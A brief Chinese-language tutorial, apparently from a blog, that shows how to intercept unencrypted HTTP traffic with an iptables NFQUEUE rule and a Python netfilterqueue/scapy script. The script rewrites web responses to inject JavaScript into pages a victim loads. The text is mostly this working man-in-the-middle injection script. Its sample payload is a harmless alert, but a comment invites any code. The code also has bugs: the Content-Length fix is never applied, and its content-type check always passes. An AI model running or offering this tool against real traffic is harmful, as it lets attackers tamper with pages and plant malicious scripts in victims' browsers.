利用Python Netfilter与Scapy向网页中插入Javascript代码
应用场景:目标在访问网站(HTTP,非加密)时,通过修改目标的HTTP响应报文,从而插入代码比如javascript。
应用模块:可利用Python的Netfilterqueue以及scapy第三方模块,前者主要实现对截获的报文进行队列处理,而后者可对队列中的报文进行查看、修改、转发等
实验环境:
1. 攻击平台可选择Kali Linux
2. 客户端选择metasploitable2,模拟目标在该机器上访问网站下载文件等操作
3. 由于现在HTTP网站比较少,笔者选择了网站:http://getwanip.com/testvirus.php或者http://xcal1.vodafone.co.uk/
4. 设置iptables规则:
#iptables -I FORWARD -j NFQUEUE --queue-num 0
import netfilterqueue from scapy.all import * import re def modify_payload(scapy_packet,load_change): scapy_packet[Raw].load = load_change.encode('utf-8') del scapy_packet[IP].len del scapy_packet[IP].chksum del scapy_packet[TCP].chksum return scapy_packet def packet_handler(pkt): #Convert pkt to packet in the format of scapy to process and analyze scapy_packet = IP(pkt.get_payload()) if scapy_packet.haslayer(Raw) and scapy_packet.haslayer(TCP): if scapy_packet[TCP].dport == 80: print("This is Request.................") # print(scapy_packet.show()) elif scapy_packet[TCP].sport == 80: load = scapy_packet[Raw].load.decode('utf-8') java_script = '<script>alert("hi, jason")</script>' #插入任何Javascript代码 modified_load = load.replace("</table>", java_script+"</table>") #选择Javascript代码插入的地方,比如</body>前面,但是我测试的这个网站比较奇葩,没有</body>标签 content_length_search = re.search(r'(?:Content-Length:\s)(\d*)', load) #对于有Content-lengh字段的响应报文需要修改(并不是所有返回的响应报文都有这个字段) if content_length_search and 'text/html': content_length = content_length_search.group(1) print("Length of content is : %s" % content_length) new_content_length = int(content_length)+len(java_script) modified_load.replace(content_length, str(new_content_length)) scapy_packet = modify_payload(scapy_packet, modified_load) pkt.set_payload(bytes(scapy_packet)) pkt.accept() queue = netfilterqueue.NetfilterQueue() queue.bind(0, packet_handler) queue.run()
STRIVE FOR PROGRESS,NOT FOR PERFECTION